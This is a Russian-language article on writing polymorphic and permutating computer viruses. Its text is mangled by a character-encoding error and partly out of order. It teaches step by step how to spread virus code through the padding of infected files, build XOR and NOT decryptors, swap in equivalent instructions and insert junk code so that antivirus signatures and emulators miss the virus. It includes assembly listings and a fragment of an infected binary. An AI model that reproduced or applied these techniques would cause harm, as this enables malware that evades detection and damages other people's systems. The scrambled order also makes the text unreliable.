; (4 ïîíàäîáèëîñü, ïîòîìó ÷òî áëîêè íóìåðóþòñÿ ñ 1)



íî äðóã çà äðóãîì. Íàïðîòèâ, åñëè òîëüêî ñîçäàòåëü âèðóñà íå äàóí, CALL'û
áóäóò áëîõîé ñêàêàòü ïî âñåìó ôàéëó, èñïîëüçóÿ ëåâûå ýïèëîãè è ïðîëîãè
äëÿ ñëèÿíèÿ ñ îêðóæàþùèìè ôóíêöèÿìè.
Â ìàøèííîì ïðåäñòàâëåíèè CALL target ÿâëÿåòñÿ îòíîñèòåëüíûì àäðåñîì.
Êàê ïðàâèëüíî âû÷èñëèòü îòíîñèòåëüíûé àäðåñ ïåðåõîäà? Îïðåäåëÿåì ñìå-
ùåíèå êîìàíäû ïåðåõîäà îò ôèçè÷åñêîãî íà÷àëà ñåêöèè, äîáàâëÿåì ê íåìó
òðè èëè ïÿòü áàéò (â çàâèñèìîñòè îò äëèíû êîìàíäû). Ïîëó÷åííóþ âåëè÷èíó
ñêëàäûâàåì â âèðòóàëüíûì àäðåñîì ñåêöèè è êëàäåì ïîëó÷åííûé ðåçóëüòàò
â ïåðåìåííóþ a1. Çàòåì îïðåäåëÿåì ñìåùåíèå ñëåäóþùåé öåïî÷êè, îòñ÷è-
òûâàåìîå îò íà÷àëà òîé ñåêöèè, ê êîòîðîé îíà ïðèíàäëåæèò, è ñêëàäûâàåì
åãî ñ âèðòóàëüíûì àäðåñîì, çàïèñûâàÿ ïîëó÷åííûé ðåçóëüòàò â ïåðåìåííóþ
a2. Ðàçíîñòü a2 è a1 è ïðåäñòàâëÿåò ñîáîé îïåðàíä èíñòðóêöèè CALL.
Òåïåðü íåîáõîäèìî êàê-òî çàïîìíèòü íà÷àëüíûå àäðåñà, äëèíû è èñõîäíîå
ñîäåðæèìîå âñåõ öåïî÷åê. Åñëè ýòîãî íå ñäåëàòü, òîãäà âèðóñ íå ñìîæåò
èçâëå÷ü ñâîå òåëî èç ôàéëà äëÿ âíåäðåíèÿ â îñòàëüíûå ôàéëû. Âîò ïîýòî-
ìó-òî äëÿ ïåðåõîäà ìåæäó áëîêàìè ìû èñïîëüçîâàëè êîìàíäó CALL, à íå
JMP! Ïðè êàæäîì ïåðåõîäå íà ñòåê çàáðàñûâàåòñÿ àäðåñ âîçâðàòà, ïðåäñ-
òàâëÿþùèé ñîáîé ñìåùåíèå êîíöà òåêóùåãî áëîêà. Êàê íåòðóäíî ñîîáðà-
çèòü, ñîâîêóïíîñòü àäðåñîâ âîçâðàòà ïðåäñòàâëÿåò ñîáîé ëîêàëèçàöèþ
«õâîñòîâ» âñåõ èñïîëüçóåìûõ öåïî÷åê, à àäðåñà «ãîëîâ» õðàíÿòñÿ� â îïå-
ðàíäå êîìàíäû CALL! Èçâëåêàåì î÷åðåäíîé àäðåñ âîçâðàòà, óìåíüøàåì
åãî íà ÷åòûðå è � îòíîñèòåëüíûé ñòàðòîâûé àäðåñ ñëåäóþùåé öåïî÷êè ïå-
ðåä íàìè! Òàê ÷òî «ñáîðêà» âèðóñíîãî òåëà íå áóäåò áîëüøîé ïðîáëåìîé!

[ñòóïåíü 1: âûáîð ñëó÷àéíîãî ðàñøèôðîâùèêà èç ñïèñêà] Èäåÿ:
ñîçäàåì íåêîòîðîå êîëè÷åñòâî øèôðîâùèêîâ/ðàñøèôðîâùèêîâ, âûáèðàåì
ñëó÷àéíûé øèôðîâùèê è çàøèôðîâûâàåì òåëî âèðóñà âìåñòå ñ îñòàëüíû-
ìè øèôðîâùèêàìè/ðàñøèôðîâùèêàìè. Â êàæäîì ïîñëåäóþùåì ïîêëîíå-
íèè ðàñøèôðîâùèê ðàñøèôðîâûâàåò âèðóñ, ïåðåäàåò óïðàâëåíèå îñíîâíî-
ìó òåëó, à ïåðåä âíåäðåíèåì âûáèðàåò ñëó÷àéíûé øèôðîâùèê, êîòîðûì åãî
è çàøèôðîâûâàåò. Êîä âèðóñà ìåíÿåòñÿ íà 100% è «âèçóàëüíî» îïîçíàòü
çàðàæåííûé ôàéë óæå íå ïðåäñòàâëÿåòñÿ âîçìîæíûì.
Ïðàâäà, ïîñêîëüêó êîëè÷åñòâî ðàñøèôðîâùèêîâ âñåãäà êîíå÷íî (äàæå åñ-
ëè îíî î÷åíü-î÷åíü âåëèêî), ñèãíàòóðíûé ïîèñê îñòàåòñÿ äîñòàòî÷íî ýô-
ôåêòèâíîé ìåðîé ïðîòèâîäåéñòâèÿ. Àíòèâèðóñ ïðîñòî çàíîñèò â áàçó «ôî-
òîðîáîòû» âñåõ ðàñøèôðîâùèêîâ è� õàíà âèðóñó. Ïðàâäà, òóò åñòü îäíî
íåáîëüøîå «íî». Ðàñøèôðîâùèêè ðàçëè÷íûõ âèðóñîâ (è äàæå ÷åñòíûõ
ïðîãðàìì ñ íàâåñíîé çàùèòîé) îáû÷íî ïîõîæè êàê äâå êàïëè âîäû, è ïîòî-
ìó â èõ äåòåêòèðîâàíèè íåò íèêàêîé ïîëüçû. Àíòèâèðóñ âûíóæäåí ïðèâëå-
êàòü ýìóëÿòîð, èìèòèðóþùèé âûïîëíåíèå ðàñøèôðîâùèêà è ðàñêðèïòîâû-
âàþùèé îñíîâíîé âèðóñíûé êîä. Åñëè ðàñïàêîâùèê ñîäåðæèò àíòèîòëà-
äî÷íûå êîìàíäû èëè èñïîëüçóåò ìàøèííûå èíñòðóêöèè, íå ïîääåðæèâàå-
ìûå ýìóëÿòîðîì, àíòèâèðóñ îáëîìàåòñÿ ïî ïîëíîé ïðîãðàììå. Çäåñü,
ïðàâäà, ïîÿâëÿåòñÿ ïðîáëåìà òèïà «ãðàáëè», íà êîòîðûå íàñòóïàþò òå, êòî
áîðåòñÿ â ýìóëÿòîðîì. ×åì áîëüøå àíòèîòëàäî÷íûõ ïðèåìîâ ñîäåðæèò
ðàñøèôðîâùèê, òåì âûøå åãî óíèêàëüíîñòü è, ñëåäîâàòåëüíî, íàäåæíåå
äåòåêòèðîâàíèå. Ñòðîãî ãîâîðÿ, ïåðâàÿ ñòóïåíü � ýòî åùå íå ïîëèìîð-
ôèçì. Òàêèå âèðóñû íàçûâàþò ïñåâäîïîëèìîðôíûìè èëè îëèãîìîðôèêà-
ìè, íî âñå-òàêè ýòî óæå áîëüøîé øàã âïåðåä.
Êàêèå ïðîáëåìû âîçíèêàþò ïðè êîäèðîâàíèè? Âî-ïåðâûõ, êîä ðàñøèôðîâ-
ùèêà äîëæåí áûòü ïîëíîñòüþ ïåðåìåùàåìûì. Òóò áàçàðà íåò! Íàïèñàòü
òàêîé ðàñøèôðîâùèê íåñëîæíî. Âî-âòîðûõ, ðàñøèôðîâùèê äîëæåí êàê-òî
îïðåäåëÿòü íà÷àëî è êîíåö çàøèôðîâàííîãî ôðàãìåíòà. Ýòî òîæå ðåøàå-
ìî. Øèôðîâêà íå èçìåíÿåò äëèíó äàííûõ, è ðàçìåð øèôðîáëîêà áóäåò
ïîñòîÿíåí äëÿ âñåõ ðàñøèôðîâùèêîâ, òàê ÷òî åãî ìîæíî âû÷èñëèòü åùå íà
ñòàäèè àññåìáëèðîâàíèÿ. Â-òðåòüèõ, äëÿ êàæäîãî øèôðîâùèêà äîëæåí ñó-
ùåñòâîâàòü ïàðíûé ðàñøèôðîâùèê èëè æå âûáðàííûé êðèïòîàãëãîðèòì
äîëæåí áûòü ñèììåòðè÷åí, òî åñòü ïîâòîðíàÿ øèôðîâêà çàøèôðîâàííîãî
òåêñòà ðàñøèôðîâûâàåò åãî.
Ñâîéñòâîì ñèììåòðèè îáëàäàþò îïåðàöèè NOT; XOR X, ëþáàÿ êîíñòàíòà;

LODSD ; ñ÷èòûâàåì àäðåñ áëîêà
ADD EAX, EBX ; äîáàâëÿåì ñìåùåíèå ôóíêöèè
CALL EAX ; âûçûâàåì áëîê

Êàê âàðèàíò, ìîæíî ïîìåñòèòü ïåðåä ôóíêöèåé ASCIIZ-ñòðîêó ñ åå èìåíåì
(íàïðèìåð, "my_func"), à çàòåì îñóùåñòâëÿòü åå õýø-ïîèñê, ÷òî ïîçâîëèò
àáñòðàãèðîâàòüñÿ îò ñìåùåíèé, à çíà÷èò, óïðîñòèòü êîäèðîâàíèå, íî â ýòîì
ñëó÷àå ñîäåðæèìîå âñåõ áëîêîâ äîëæíî áûòü çàøèôðîâàíî, ÷òîáû òåêñòî-
âûå ñòðîêè íå ñðàçó áðîñàëèñü â ãëàçà. Âïðî÷åì, øèôðóé � íå øèôðóé,
àíòèâèðóñ âñå ðàâíî ñìîæåò íàñ îáíàðóæèòü, à, îáíàðóæèâ, � ïîèìåòü.
Ïðîöåäóðó îïîçíàíèÿ ìîæíî ñóùåñòâåííî çàòðóäíèòü, åñëè ñîêðàòèòü ðàç-
ìåð áëîêîâ äî íåñêîëüêèõ ìàøèííûõ êîìàíä, «ðàçìàçàâ» èõ ïî òåëó ôàé-
ëà-æåðòâû. Âíåäðÿòüñÿ ëó÷øå âñåãî â ïóñòûå ìåñòà (íàïðèìåð, ïîñëåäîâà-
òåëüíîñòè íóëåé èëè êîìàíä NOP /* 90h */, îáðàçóþùèåñÿ ïðè âûðàâíèâà-
íèè). Â ïðîòèâíîì ñëó÷àå íàì ïðèäåòñÿ ãäå-òî ñîõðàíÿòü îðèãèíàëüíîå ñî-
äåðæèìîå ôàéëà, à çàòåì âîññòàíàâëèâàòü åãî, à ýòî ãåìîððîé.
Íàðåçêà áëîêîâ ìîæåò ïðîèñõîäèòü êàê ñòàòè÷åñêè � íà ñòàäèè ðàçðàáîò-
êè âèðóñà, òàê è äèíàìè÷åñêè � â ïðîöåññå åãî âíåäðåíèÿ, íî òîãäà íàì
ïîòðåáóåòñÿ äèçàññåìáëåð äëèí, ñëîæíîñòü ðåàëèçàöèè êîòîðîãî íàìíîãî
ïðåâûøàåò «òåõíîëîãè÷íîñòü» âñåãî ïåðìóòèðóþùåãî äâèæêà. Ëàäíî,
ïðåêðàòèì îòâëåêàòüñÿ è ðàññìîòðèì îáùóþ ñòðàòåãèþ âíåäðåíèÿ.
Âèðóñ ñêàíèðóåò ôàéë íà ïðåäìåò ïîèñêà áîëåå èëè ìåíåå äëèííîé ïîñëåäî-
âàòåëüíîñòè êîìàíä NOP èëè öåïî÷åê íóëåé, çàïèñûâàåò â íèõ êóñî÷åê ñâîå-
ãî òåëà è äîáàâëÿåò êîìàíäó CALL äëÿ ïåðåõîäà íà ñëåäóþùèé ôðàãìåíò. Òàê
ïðîäîëæàåòñÿ äî òåõ ïîð, ïîêà âèðóñ ïîëíîñòüþ íå îêàæåòñÿ â ôàéëå.
Ðàçëè÷íûå ïðîãðàììû ñîäåðæàò ðàçëè÷íîå êîëè÷åñòâî ñâîáîäíîãî ìåñòà,
ðàñõîäóþùåãîñÿ íà âûðàâíèâàíèå. Â ïðîãðàììû, îòêîìïèëèðîâàííûå ñ
âûðàâíèâàíèåì íà âåëè÷èíó 4-õ áàéò, âòèñíóòüñÿ ïðàêòè÷åñêè íåðåàëüíî
(ïîñêîëüêó äàæå êîìàíäà ïåðåõîäà, íå ãîâîðÿ óæå î êîìàíäå CALL, çàíè-
ìàåò, ïî ìåíüøåé ìåðå, äâà áàéòà). Ñ ïðîãðàììàìè, îòêîìïèëèðîâàííûìè
ñ âåëè÷èíîé âûðàâíèâàíèÿ îò 08h äî 10h áàéò âñå íàìíîãî ïðîùå, è îíè
âïîëíå ïðèãîäíû äëÿ âíåäðåíèÿ. Íèæå â êà÷åñòâå ïðèìåðà ïðèâåäåí ôðàã-
ìåíò îäíîãî èç òàêèõ âèðóñîâ.

[ôðàãìåíò ôàéëà, çàðàæåííîãî ïåðìóòèðóþùèì âèðóñîì, «ðàçìàçû-
âàþùèì» ñåáÿ ïî êîäîâîé ñåêöèè]

.text:08000BD9 xor eax, eax

.text:08000BDB xor ebx, ebx

.text:08000BDD call loc_8000C01
�
.text:08000C01 loc_8000C01:
.text:08000C01 mov ebx, esp
.text:08000C03 mov eax, 90h
.text:08000C08 int 80h
.text:08000C0A add esp, 18h
.text:08000C0D call loc_8000D18
�
.text:08000D18 loc_8000D18:
.text:08000D18 dec eax
.text:08000D19 call short loc_8000D53
.text:08000D1B call short loc_8000D2B
�
.text:08000D53 loc_8000D53:
.text:08000D53 inc eax
.text:08000D54 mov [ebp+8000466h], eax
.text:08000D5A mov edx, eax
.text:08000D5C call short loc_8000D6C

Åñòåñòâåííî, ôðàãìåíòû âèðóñà íå îáÿçàòåëüíî äîëæíû ñëåäîâàòü ëèíåé-

[òàê âûãëÿäåë ôàéë cat äî (ñëåâà) è ïîñëå (ñïðàâà) åãî çàðàæåíèÿ ïåðìóòèðóþùèì âèðóñîì] [X
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ROL/ROR X, 4 è íåêîòîðûå äðóãèå àðèôìåòè÷åñêî-ëîãè÷åñêèå îïåðàöèè,
íàïðèìåð, ADD byte,100h/2. Ïðîñòåéøèé ñèììåòðè÷íûé øèôðîâùèê ìîæåò
âûãëÿäåòü òàê (ïðåäâàðèòåëüíî íåîáõîäèìî îòêðûòü ñåãìåíò êîäà íà çà-
ïèñü, ÷òî ìîæíî ñäåëàòü ôóíêöèåé VirtualProtect):

[ñèììåòðè÷íûé ðàñøèôðîâùèê íà îñíîâå XOR]

MOVESI, offset body_begin
MOVEDI, ESI
MOVECX, offset body_end � body_begin

my_begin:
LODSB
XOR AL, 66h
STOSB

LOOP my_begin
body_begin:

; // òåëî âèðóñà ñî âñåìè îñòàëüíûìè øèôðîâùèêàìè

body_end:

À âîò äðóãîé ðàñøèôðîâùèê:

[ñèììåòðè÷íûé ðàñøèôðîâùèê íà îñíîâå NOT]

LEA EAX, body_end
my_begin:

NOT byte ptr DS:[EAX]
SUB EAX, offset body_begin +1
PUSHF
ADD EAX, offset body_begin
POPF
JNZ my_begin

body_begin:

; // òåëî âèðóñà ñî âñåìè îñòàëüíûìè øèôðîâùèêàìè

body_end:

Íåñèììåòðè÷íûå øèôðîâùèêè/ðàñøèôðîâùèêè óñòðîåíû ñëîæíåå. Ìîæ-
íî èñïîëüçîâàòü ïðàêòè÷åñêè ëþáóþ êîìáèíàöèþ àðèôìåòè÷åñêî-ëîãè÷åñ-
êèõ êîìàíä, òîëüêî íèêàêîãî ñìûñëà â ýòîì íåò. Âñå ðàâíî, åñëè àíòèâèðóñ
äîáåðåòñÿ äî ôàéëà, îí åãî ïîéìàåò.

[ñòóïåíü 2: ðàñøèôðîâùèê èç êèðïè÷èêîâ] Èäåÿ: ðàñøèôðîâùèê
âèðóñà èìååò ïîñòîÿííûé àëãîðèòì, íî ñîñòîèò èç ïðîèçâîëüíî âûáèðàå-
ìîé ïîñëåäîâàòåëüíîñòè êîìàíä. Çâó÷èò ñòðàøíîâàòî, íî ðåàëèçóåòñÿ òðè-
âèàëüíî. Âîçüìåì â êà÷åñòâå íàãëÿäíî-àãèòàöèîííîãî ïîñîáèÿ ðàñøèô-
ðîâùèê íà îñíîâå XOR, îïèñàííûé âûøå. À òåïåðü ïîïðîáóåì ïîäîáðàòü
ñèíîíèìû äëÿ êàæäîé èç ñëàãàþùèõ åãî ìàøèííûõ êîìàíä (çàáîòèòñÿ îá
îïòèìèçàöèè íåîáÿçàòåëüíî). Ïîëó÷èòñÿ ïðèìåðíî òàê:

[èíñòðóêöèè è èõ ñèíîíèìû]

MOV ESI,offset body_begin -> LEA ESI,body_begin;MOV ESI,offset
body_begin-1/INC ESI;
MOV EDI, ESI -> PUSH ESI/POP EDI; XOR EDI,EDI/ADD EDI,ESI;
LODSB -> MOV AL,[ESI]/INC ESI; SUB AL,AL/SUB AL,[ESI]/NOT AL/INC
ESI/ADD AL,1
XOR AL,66h -> XOR AL, 6/XOR AL, 60h

Äëÿ êàæäîé èç êîìàíä øèôðîâùèêà ìû áóäåì âûáèðàòü ñëó÷àéíóþ ïîñëå-
äîâàòåëüíîñòü ñèíîíèìîâ, êàê áû ñîáèðàÿ øèôðîâùèê èç êèðïè÷èêîâ. Ðå-
çóëüòàò íàøåé ðàáîòû ìîæåò âûãëÿäåòü, íàïðèìåð, òàê:

[ñëó÷àéíî ñãåíåðèðîâàííûé ðàñøèôðîâùèê]

LEA ESI, body_begin
PUSH ESI
POP EDI
MOVECX, offset body_end - body_begin + 2
DEC ECX
DEC ECX

my_begin:
MOVAL,[ESI]
INC ESI
XOR AL, 6

XOR AL, 66
MOV[EDI], AL
SUB EDI, -1
ADD ECX, -1
JNZ my_begin 

Ïîñêîëüêó ñèíîíèìû êîìàíä ïîäãîòàâëèâàþòñÿ âðó÷íóþ åùå íà ýòàïå àñ-
ñåìáëèðîâàíèÿ, àâòîìàòè÷åñêè îïðåäåëÿòü èõ äëèíû ñîâñåì íåîáÿçàòåëü-
íî! Ðåàëèçàöèÿ ïîëó÷àåòñÿ î÷åíü ïðîñòàÿ. Åäèíñòâåííóþ ïðîáëåìó ïðåäñ-
òàâëÿþò ìåòêè. Êàê âèäíî, è àáñîëþòíîå, è îòíîñèòåëüíîå ñìåùåíèå
my_begin èçìåíèëîñü. Ìû íå ìîæåì íà ýòàïå àññåìáëèðîâàíèÿ ïîäñòàâ-
ëÿòü â êîìàíäó JNZ ñìåùåíèå my_begin, ïîñêîëüêó îíî áóäåò óêàçûâàòü â
êîñìîñ. ×òî äåëàòü? Âîò îäíî èç ðåøåíèé ïðîáëåìû. Âìåñòî ìåòêè ïîäñ-
òàâëÿåì êîìàíäó ñîõðàíåíèÿ òåêóùåãî EIP â îäèí èç ñâîáîäíûõ ðåãèñòðîâ
îáùåãî íàçíà÷åíèÿ, à çàòåì ïðûãàåì íà íåãî:

[àâòîìàòè÷åñêîå îïðåäåëåíèå ñìåùåíèé ìåòîê]

my_begin:
CALL $+5 ; ïðûãàåì íà ñëåäóþùóþ êîìàíäó, çàíîñÿ EIP â ñòåê
POP EBX ; âûòàëêèâàåì EIP èç ñòåêà
PUSH EBX ; (êàê âàðèàíò, ìîæíî äàòü INC EBX)
...
JNZ $+4 ; âûõîä èç ðàñøèôðîâùèêà
JMP EBX ; ïåðåõîä íà my_begin ñ äèíàìè÷åñêèì îïðåäå-

ëåíèåì àäðåñà 

Íà ïåðâûé âçãëÿä, êàæäîå ïîñëåäóþùåå ïîêîëåíèå âèðóñà âûãëÿäèò ïîë-
íîñòüþ íåïîõîæèì íà ïðåäûäóùåå è ïî ñèãíàòóðàì îí óæå íå äåòåêòèðóåòñÿ.
Âåäü åñëè ïîäîáðàòü ïîáîëüøå êîìàíä-ñèíîíèìîâ, êîëè÷åñòâî âîçìîæíûõ
êîìáèíàöèé ìîæåò ñîñòàâèòü íå îäèí ìèëëèîí. Òðåñíè ìîÿ àíòèâèðóñíàÿ áà-
çà! Òåì íå ìåíåå, â êàæäîé ïîçèöèè ðàñøèôðîâùèêà âñòðå÷àåòñÿ ñòðîãî îï-
ðåäåëåííàÿ êîìáèíàöèÿ êîìàíä, ïîýòîìó ñïåöèàëüíûé àëãîðèòì îòîæäåñ-
òâëåíèÿ ñìîæåò íàäåæíî åå ðàñïîçíàòü. Åñòåñòâåííî, äëÿ ýòîãî àíòèâèðóñíè-
êàì ïðèäåòñÿ ïîòðóäèòüñÿ è çàïàñòèñü õîðîøåé òðàâîé. Áûë êàê-òî ó îäíîé
òàêîé êîìïàíèè ìåøîê îòìåííîé òðàâû, òàê çà ìåñÿö ñêóðèëè! Íó, ýòî ëàäíî.
Íå ñòîèò çàáûâàòü è ïðî ýìóëÿòîð. Ðàñøèôðîâàâ îñíîâíîé êîä âèðóñà,
ðàçðàáîò÷èêè çàïðîñòî îòîæäåñòâÿò åãî ïî ñèãíàòóðå. Ïîýòîìó àíòèîòëà-
äî÷íûå ïðèåìû äîëæíû áûòü! Çäåñü çà óíèêàëüíîñòü ìîæíî óæå íå îïà-
ñàòüñÿ (êîìàíäû-ñèíîíèìû äåëàþò ñâîå), îòòÿíóâøèñü íà ïîëíóþ êàòóøêó
ñî âñåì íàáîðîì SSE è ïðî÷èõ âåêòîðíûõ êîìàíä, äî êîòîðûõ àíòèâèðóñ-
íûì ýìóëÿòîðàì åùå ïîëçòè è ïîëçòè.

[ñòóïåíü 3: ñàìûé ìóñîðíûé] Èäåÿ: âíåäðÿåì â ðàñøèôðîâùèê ìó-
ñîðíûå êîìàíäû, íå èìåþùèå íèêàêîãî ïîáî÷íîãî ýôôåêòà, íî ïðåîáðà-
æàþùèå êîä äî íåóçíàâàåìîñòè. ×àùå âñåãî èñïîëüçóþòñÿ ðàçëè÷íûå âà-
ðèàöèè NOP, êîòîðûõ íàñ÷èòûâàþòñÿ äåñÿòêè (íàïðèìåð, XCHG EBX,
EBX/MOV ECX,ECX/Jx $+2/XCHG EAX, EBX; XCHG EBX, EAX è ò.ä. � ãëàâ-
íîå ôàíòàçèþ èìåòü).
Îáðàáîòàííûé ðàñøèôðîâùèê èç ëèñòèíãà 4 ïîñëå ýêçåêóöèè ìîæåò âûã-
ëÿäåòü, íàïðèìåð, òàê:

[ðàñøèôðîâùèê, ðàçáàâëåííûé íè÷åãî 
íå çíà÷àùèìè ìóñîðíûìè êîìàíäàìè]

XCHG ECX, ECX
MOVESI, offset body_begin
JO $+2
MOVEDI, ESI
MOVEAX, EAX
MOVECX, offset body_end - body_begin
NOP

my_begin:
LODSB
JNZ $+2
XOR AL, 66h
MOVEDI,EDI
STOSB
JZ $+2

LOOP my_begin 

Êàêèå ïðîáëåìû âîçíèêàþò ïðè êîäèðîâàíèè? Ïðîáëåì ìíîãî. Ðàññìîòðèì
ëèøü äâå èç íèõ, êàê ñàìûå âàæíûå. Åñëè íå ïðåäïðèíÿòü íèêàêèõ óñèëèé,
óæå ÷åðåç íåñêîëüêî ïîêîëåíèé ðàçìåð âèðóñà âûðàñòåò äî îáëàêîâ è ïðî-
äîëæèò ðàñòè äî òåõ ïîð, ïîêà íå óïðåòñÿ â êîíåö àäðåñíîãî ïðîñòðàíñòâà
(èëè îòâåäåííîé ïðèëîæåíèþ ïàìÿòè). ×òîáû ýòîãî èçáåæàòü, íåîáõîäèìî
ëèáî âû÷èùàòü èìåþùèéñÿ ìóñîð ïåðåä äîáàâëåíèåì íîâîé ïîðöèè (÷òî[X
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ñëîæíî), ëèáî âêëþ÷èòü â çàøèôðîâàííîå òåëî êîïèþ ðàñøèôðîâùèêà è
âñåãäà èçäåâàòüñÿ òîëüêî íàä íåé.
À âîò âòîðàÿ ïðîáëåìà. ×òîáû äîáàâèòü ìóñîðíóþ èíñòðóêöèþ ìåæäó äâóìÿ
äðóãèìè, íåîáõîäèìî êàê-òî îïðåäåëèòü, ãäå êîí÷àåòñÿ îäíà è íà÷èíàåòñÿ
äðóãàÿ. Âîò äëÿ ýòîãî íàì è íóæåí äèçàññåìáëåð äëèí. Äèçàññåìáëåð äëèí
ïðåäñòàâëÿåò ñîáîé äî ïðåäåëà óïðîùåííûé x86-äèçàññåìáëåð, äåêîäèðó-
þùèé èíñòðóêöèè è îïðåäåëÿþùèé èõ ãðàíèöû. Ýòî äîñòàòî÷íî ñëîæíàÿ çà-
äà÷à, êîòîðàÿ íå èìååò ïðîñòûõ è êðàñèâûõ ðåøåíèé. Ïðèõîäèòñÿ çàðûâàòü-
ñÿ â ôîðìàò êîäèðîâàíèÿ ìàøèííûõ êîìàíä, à ýòî öåëûé èñòîðè÷åñêèé
ïëàñò ñ êó÷åé íàñëîåíèé. Êîãäà-òî ìû äîéäåì è äî íåãî, íî íåëüçÿ ëè ïîêà
îáîéòèñü ìåòîäîì ãðóáîé ñèëû? Ìîæíî! Íåêîòîðûå âèðóñû îïðåäåëÿþò ãðà-
íèöû êîìàíä ñ ïîìîùüþ òðàññèðîâêè, òàê ñêàçàòü, ðóêàìè ñàìîãî ïðîöåñ-
ñîðà. Íî ýòî âñå ðàâíî óòîìèòåëüíî. Ëó÷øå (è áûñòðåå!) îïðåäåëèòü ãðàíè-
öû âðó÷íóþ è çàíåñòè â ñïåöèàëüíóþ òàáëèöó. Óðîäëèâî, çàòî ýôôåêòèâíî.
Êàê àíòèâèðóñû ñïðàâëÿþòñÿ ñ òàêèìè ôàéëàìè? Äà î÷åíü ïðîñòî! Âû÷èùà-
þò âåñü ìóñîð è íàòÿãèâàþò íà îòñòîÿâøèéñÿ «îñàäîê» ñòàðóþ äîáðóþ ñèã-
íàòóðó. Ìóñîðíûå êîìàíäû ëåãêî ãåíåðèðîâàòü, íî ëåãêî è ðàñïîçíàâàòü! Òàê
÷òî äàííàÿ ìåòîäèêà êðàéíå íåíàäåæíà è ãîäèòñÿ ðàçâå ÷òî äëÿ òðåíèðîâêè.

[ñòóïåíü 4: åùå áîëåå ìóñîðíûé] Èäåÿ: óñëîæíèòü ãåíåðàöèþ ìóñîð-
íûõ èíñòðóêöèé, ñäåëàâ åå ìåíåå î÷åâèäíîé. Íàïðèìåð, åñëè ìû âèäèì:
MOV EAX,EBX, òî ïåðåä ýòèì â EAX ìîæíî ïèñàòü âñå, ÷òî óãîäíî. Âñå ðàâ-
íî îí áóäåò çàíîâî ïðîèíèöèàëèçèðîâàí.
Áîëåå ñëîæíàÿ çàäà÷à: îòñëåæèâàòü îáðàùåíèÿ ê ðåãèñòðàì, âûÿâëÿòü íå-
èñïîëüçóåìûå ðåãèñòðû (êàê ëîêàëüíî, òàê è ãëîáàëüíî), è ïèõàòü â íèõ âñÿ-
êóþ ãëóïîñòü. Äëÿ ýòîãî íóæåí íå òîëüêî äèçàññåìáëåð äëèí, íî è ïîëíî-
öåííûé äèçàññåìáëåð êîìàíä, îïðåäåëÿþùèé, ÷òî ýòî èìåííî MOV
EAX,EBX, à íå ÷òî-òî äðóãîå. Ïðè÷åì íåîáõîäèìî ñïåöèàëüíûì îáðàçîì
îáðàáàòûâàòü ôëàãè � âñòðåòèâ êîìàíäó, çàâèñèìóþ îò ôëàãîâ (íàïðè-
ìåð, Jxx), íåîáõîäèìî íàéòè áëèæàéøóþ ê íåé èíñòðóêöèþ, âîçäåéñòâóþ-
ùóþ íà ýòîò ôëàã, è ìåæäó íèìè âñòàâëÿòü òîëüêî òîò ìóñîð, êîòîðûé íå
îêàçûâàåò íà ôëàãè íèêàêîãî âëèÿíèÿ. Ðàçóìååòñÿ, ýòî ñëîæíî. Î÷åíü
ñëîæíî. Çàòî òàêîé ýôôåêò!

[ðàñøèôðîâùèê, çàìóñîðåííûé çíà÷àùèìè êîìàíäàìè]

MOVESI, EAX
SUB ESI, ECX
XCHG EDX, EBP
LEA EBX, [ESI+EDI]
ROR AL,8
MOVESI, offset body_begin
XOR ECX, ECX
SUB EDI, EAX
ADD EBP, ESI
NOT EDI
MOVEDI, ESI
MOVECX, offset body_end - body_begin
CALL $+5
SUB EAX, ECX
NOT EBP
POP EBX
XOR EAX, EAX
PUSH EBX
SUB EBP,ECX
LODSB
MOVEAX, EAX
ADD EDX, ESI
XCHG EBX, EBX
XOR AL, 66h
XOR EDX, EDX
ADD EAX, EDX
STOSB
MOVEBP, EAX
DEC ECX
XCHG EBX,EBX
MOVEBP,ESI
JNZ $+4
JMP EBX

body_begin:

; // òåëî âèðóñà ñî âñåìè îñòàëüíûìè øèôðîâùèêàìè

body_end:

Àíòèâèðóñó, ÷òîáû ðàñïîçíàòü ýòîò êîä ïîòðåáóåòñÿ ðåàëèçîâàòü ñëîæíóþ
ñèñòåìó ãðàôîâ, àíàëèçèðóþùèõ çàâèñèìîñòè ïî äàííûì è îòáðàñûâàþ-

ùèõ èíñòðóêöèè, çàìûêàþùèå ãðàô. Íàïðèìåð, MOV EAX, EBX --> ADD
EAX, ECX -> MOV EAX, ECX. Ïîñëåäíÿÿ êîìàíäà ïåðåêðûâàåò ðåçóëüòàò
äåÿòåëüíîñòè ïåðâûõ äâóõ, âûäàâàÿ èõ ãàëèìóþ ìóñîðíóþ ïðèðîäó. Ðåàëè-
çîâàòü ïîëèìîðôíûé ãåíåðàòîð ÷åòâåðòîãî óðîâíÿ íàìíîãî ïðîùå, ÷åì
ðàçðàáîòàòü ëåêàðñòâî, òàê ÷òî àíòèâèðóñíèêè òóò íàõîäÿòñÿ â ïðîèãðûøå.
Êñòàòè ãîâîðÿ, áåç äèçàññåìáëåðà ìîæíî è îáîéòèñü, âîñïîëüçîâàâøèñü
ïñåâäîêîäîì. Â ýòîì ñëó÷àå êîä øèôðîâùèêà áóäåò âûãëÿäåòü òàê:

[ïñåâîäîêîä ïðîñòåéøåãî øèôðîâùèêà]

MOV$R1, offset body_begin
MOV$R3, offset body_end - body_begin
MOV$R3, $IP
XOR [$R1], 66h
ADD $R1, 1
SUB $R2, 1
JNZ $R3

Òîãäà íàøà çàäà÷à ñâåäåòñÿ ê íàïèñàíèþ êîäîãåíåðàòîðà äëÿ x86, ÷òî íàì-
íîãî ïðîùå. Íàø ïñâåäîêîä ìîæåò áûòü ïîñòðîåí ïî ñàìûì äåìîêðàòè÷-
íûì ïðèíöèïàì è èìåòü ôèêñèðîâàííûå äëèíû èíñòðóêöèé. Â ïñåâäîêîäå
äîïóñòèìî íàïðÿìóþ àäðåñîâàòü ðåãèñòð EIP, ïåðåëîæèâ çàáîòó íà êîäîãå-
íåðàòîð, êîòîðûé, êñòàòè ãîâîðÿ, ìîæíî âûäðàòü èç ëþáîãî OpenSource
êîìïèëÿòîðà. Ýòî òåì áîëåå çàìå÷àòåëüíî, ÷òî êîäîãåíåðàòîð èìååò ìíî-
æåñòâî ðàçëè÷íûõ îïöèé, ïîðîæäàþùèõ ðàçëè÷íûé êîä (íàïðèìåð, êîä äëÿ
8088 è 386 ïðîöåññîðîâ). Àíòèâèðóñû èäóò â ãëóõîé îòðóá!

[ñòóïåíü 5: äàëüøå òîëüêî íåáî] Ïÿòûé óðîâåíü � ýòî íàèâûñøèé
